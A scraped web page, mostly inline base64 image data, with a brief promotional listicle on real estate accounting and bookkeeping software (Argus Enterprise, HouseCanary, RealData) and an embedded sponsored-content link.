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" width="255px" alt="best bookkeeping software for real estate investors"/></p>
<p><p>After analyzing 19 options, I’ve shorted the following top 13 real estate accounting software considering the key features, integrations, and pricing. Argus Enterprise provides advanced financial modeling, cash flow forecasting, and portfolio valuation for commercial real estate. Most real estate businesses use cash accounting, which means that income and expenses are only recorded when money is actually spent or received. Real estate accounting also includes tracking commissions, expenses, property depreciation, and rent payments. HouseCanary is a powerful real estate analytics platform that helps investors, lenders, and brokers make data-driven decisions with speed and confidence. It leverages a nationwide property database, accurate proprietary automated valuation models (AVMs), and forecasting tools to <a href="https://www.austindailyherald.com/sponsored-content/why-real-estate-bookkeeping-is-critical-for-your-business-9247e950">https://www.austindailyherald.com/sponsored-content/why-real-estate-bookkeeping-is-critical-for-your-business-9247e950</a> deliver precise insights at the property and market level.</p>
</p>
<ul>
<li>Find and screen tenants, collect rent online, track income and expenses, run reports, and more &#8211; all for free.</li>
<li>Cloud-based collaborative platform for real estate underwriting, financial modeling, and deal management.</li>
<li>Excel-based financial modeling software optimized for real estate investment analysis and scenario testing.</li>
<li>RealData offers a suite of Excel-based tools designed for real estate investors, developers, and professionals who require detailed financial modeling and investment analysis.</li>
</ul>
<p><h2>Common Mistakes When Setting Up a Chart of Accounts</h2>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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DY43RsbJDLciJmqIu1V4+XLrz6ndS9j9qk5LNjLWizZ+kSQM5xKnMqqBxq65nipytzqHWKUxUSlSVUPcUBwgAgO26KepZ7aANljK0BraZNnOuvF0iOevbzU10SKAiimgXLz1F1lsWWGEC4SXjhvAR9DVhpesnYzFtIapScg8B+JyMEMOYVAUChhw4csqYiUErsAX3gUB2x5PU1pYBLE5OlTVSJMkUGSCKBJeiVNIrNUVW2AALwDEUEDYi3GHnEbolu91xPRx22thl4LyXjnsX/pT1ubD9Itm8ZS1SsJhrDoi51CknUx9ilRTIdQxuLvUDjEygKAKgKhsIXiEdZbG7dwePZY7tLQbKs3SjImfUj8usnTZkdnFPi78JUjheJ8FxgEBj4Mi0rRnzmowoiaa7MGp2jwwSJnluUlD4jgqll5agiYAMJjFE2zfdsioTSW6SzijmVCyOzWeyuWkZuEpkBGaBjP13KxlnB78ACkmcxrhSJcXCGEbwuAFre64zq1PvfwzeHHbw2fVfA8yFlVrM3LKmkttHdS965QZEedc6meELrzsii6TVIhEhMChUCEMoURNdjAb7r7rffUXbDK6UfVi/tNFs2ZM05gdseo3xnR2qqxkG6pSAUSYFjlEE7zBeG0bori0t0vVX4zX1OVCD/XFZiRx1rbYiulG+rCrsLvyABMO5DddFZr6X231XQjGgJTYpUkulrTVinO4ORy4VSbkErdviKmnxZLxNefEYRu27NuLW29lfmYfTRyxvVsUqORFy2O2ry4cMuZmTQkZTxezqZ1ZPpxMHys3mRk0DO3R1sKKIYODjEcPGCrfd0RI6LHsSpBehbKqXph0hkumsvTM8T7lyfjFg/3hzxfABsjqwtsjRp9NwimdS0MUL+KImfvXavzOcIQi06YhCEAfB3R4po6VZSx0+RZKOVUETKEQJylTAW8Ch3x3R7oQIqW0vUMyRpP1QBTLxR2JCKdbruOxCYAu3X7N+6+4N0cpxUD+WU82nLamXj1yvlY2SIcYliC8b9g8ndHtqFedNJM4cU8xSePyAUEUFD4SmvMADeN4bgvHeG6PFOX1VISBs7k8mbuJmcUs5sdbCUl/LuNeF9w7N/f27hiUPzbntXh0+fv8Dsnk6fSsWINJI5mAPHRUFsn2go9ubYOwPkDZvjlNJ0+ZTmWy1tJHLlF6JwWdE2ptrt2LZz+EPlhPHdRo6gEhljd3jdFK8xrYcpHnMG0Lx8fgGPszdVGjOZajLJYg4YLY9dXOthMlcHBuDnv7wD8m+BlVdt2ry5fnx6BWcPUalbSUJK4UbLICsZ+HYyGC/gDs37OnnCPiE7fLVM4kylPuU2qKJVSTAw8UoYbuAGzft6e1H